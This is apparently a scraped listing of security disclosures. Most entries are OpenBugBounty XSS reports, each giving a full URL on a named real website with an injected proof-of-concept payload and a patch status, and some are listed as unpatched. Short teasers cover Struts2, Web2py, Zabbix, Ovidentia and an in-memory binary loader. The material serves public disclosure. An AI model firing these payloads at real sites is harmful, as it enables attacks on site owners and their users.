n-g-k.ru XSS vulnerability

Vulnerable URL: http://www.n-g-k.ru/?page=meropr54=477%22%3E%3Cscript%3Ealert/OPENBUGBOUNTY/%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 09:50 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

Struts2 remote code execution vulnerability S2-0 3 3 technology analysis and protection solution-vulnerability warning-the black bar safety net

Apache Struts2 in open dynamic method invocation Dynamic Method Invocation case, the attacker using the REST plug-in calls a malicious expression can be remote code execution. This vulnerability number CVE-2 0 1 6-3 0 8 7, named S2-0 3 of 3. This article on the vulnerability of technical analysis...

estereovisiondivino.com XSS vulnerability

Vulnerable URL: http://estereovisiondivino.com/wp-content/plugins/shoutcast-icecast-html5-radio-player/html5/html5shoutcast.php?id=%3C/title%3E%3C/script/%22-alert%280%29-%22--%3E%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017...

olympus.ee XSS vulnerability

Vulnerable URL: https://www.olympus.ee/corporate/et/presscentre/pressreleases/pressreleasesoverview.jsp?c==%22%3E%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E=4 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability...

Web2py 2.14.5 CSRF / XSS / Local File Inclusion

Title - Web2py 2.14.5 Multiple Vulnerabilities LFI,XSS,CSRF Exploit Title : Web2py 2.14.5 Multiple Vulnerabilities LFI, XSS,CSRF Reported Date : 2-April-2016 Fixed Date : 4-April-2016 Exploit Author : Narendra Bhati - https://www.exploit-db.com/author/?a=7638 CVE ID : LFI - CVE-2016-4806 ,...

streamdeutsch.de XSS vulnerability

Vulnerable URL: http://streamdeutsch.de/player/flashmediaelement.swf?jsinitfunctio%gn=alertOPENBUGBOUNTY Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 184284 VIP website status:| No Check streamdeutsch.de SSL...

thechoice.blogs.nytimes.com XSS vulnerability

Vulnerable URL: http://thechoice.blogs.nytimes.com/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alertOPENBUGBOUNTY Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VI...

broward.desire2learn.com XSS vulnerability

Vulnerable URL: https://broward.desire2learn.com/frame.asp?Pg=javascript:alert%28%27OPENBUGBOUNTY%27%29 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3708 VIP website status:| Yes Check broward.desire2learn.com...

chartboost.com XSS vulnerability

Vulnerable URL: https://www.chartboost.com/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alertOPENBUGBOUNTY Details: Description| Value ---|--- Patched:| Yes, at 16.10.2017 Latest check for patch:| 16.10.2017 13:06 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

p.fuwafuwa.moe XSS vulnerability

Vulnerable URL: https://p.fuwafuwa.moe/mxoszg.svg Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check p.fuwafuwa.moe SSL...

Apple Patches Two Flaws in Xcode's Git Implementation

Apple has updated its Xcode development environment, patching two vulnerabilities in its implementation of git. Git is a version control system, and in March its handlers patched two flaws that exposed the software to remote code execution. The new version of Xcode, 7.3.1, is available for El...

Zabbix Agent 3.0.1 - mysql.size Shell Command Injection

Zabbix Agent 3.0.1 - mysql.size Shell Command Injection CVE-2016-4338: Zabbix Agent 3.0.1 mysql.size shell command injection -------------------------------------------------------------------- Affected products ================= At least Zabbix Agent 1:3.0.1-1+wheezy from...

apotheka.ee XSS vulnerability

Vulnerable URL: https://apotheka.ee/otsi-ravimit/?medname=%22%3E%3Cscript%3Ealert%28/OPENBUGBOUNTY/%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 17.08.2016 Latest check for patch:| 17.08.2016 07:12 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...

marketing.attocube.com XSS vulnerability

Vulnerable URL: http://marketing.attocube.com/acton/fs/blocks/showLandingPage/a/4434/p/p-000d/t/page/fm/0?s=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unkno...

fullsailpartners.actonsoftware.com XSS vulnerability

Vulnerable URL: http://fullsailpartners.actonsoftware.com/acton/fs/blocks/showLandingPage/a/5241/p/p-003a/t/page/fm/0?s=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 03.05.2016 Latest check for patch:| 03.05.2016 21:46 GMT Vulnerability...

marketing.usequityadvantage.com XSS vulnerability

Vulnerable URL: http://marketing.usequityadvantage.com/acton/fs/blocks/showLandingPage/a/6578/p/p-002c/t/page/fm/1?s=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

Run Binaries From Memory: Pazuzu

Pazuzu is a Python script that allows you to embed a binary within a precompiled DLL which uses reflective DLL injection. The goal is that you can run your own binary directly from memory. This can be useful in various scenarios. For example, if you want to exploit a vulnerability and run your ow...

my.contrapption.com XSS vulnerability

Vulnerable URL:...

Ovidentia troubleticketsModule 7.6 - Remote File Inclusion

Ovidentia troubleticketsModule 7.6 - Remote File Inclusion Title: Ovidentia Module troubletickets 7.6 GLOBALSbabInstallPath Remote File Inclusion Vulnerability Author: bd0rk || SCHOOL-OF-HACK.NET eMail: bd0rkathackermail.com Website: http://www.school-of-hack.net Download:...

Rollout or Not: the Benefits and Risks of iOS Remote Hot Patching

Previously On iOS Remote Hot Patching Apple’s detailed app review process has resulted in greater security for iOS apps made available through the App Store. However, this review process can be lengthy, which negatively impacts developers who need to quickly patch a buggy or insecure app. As a...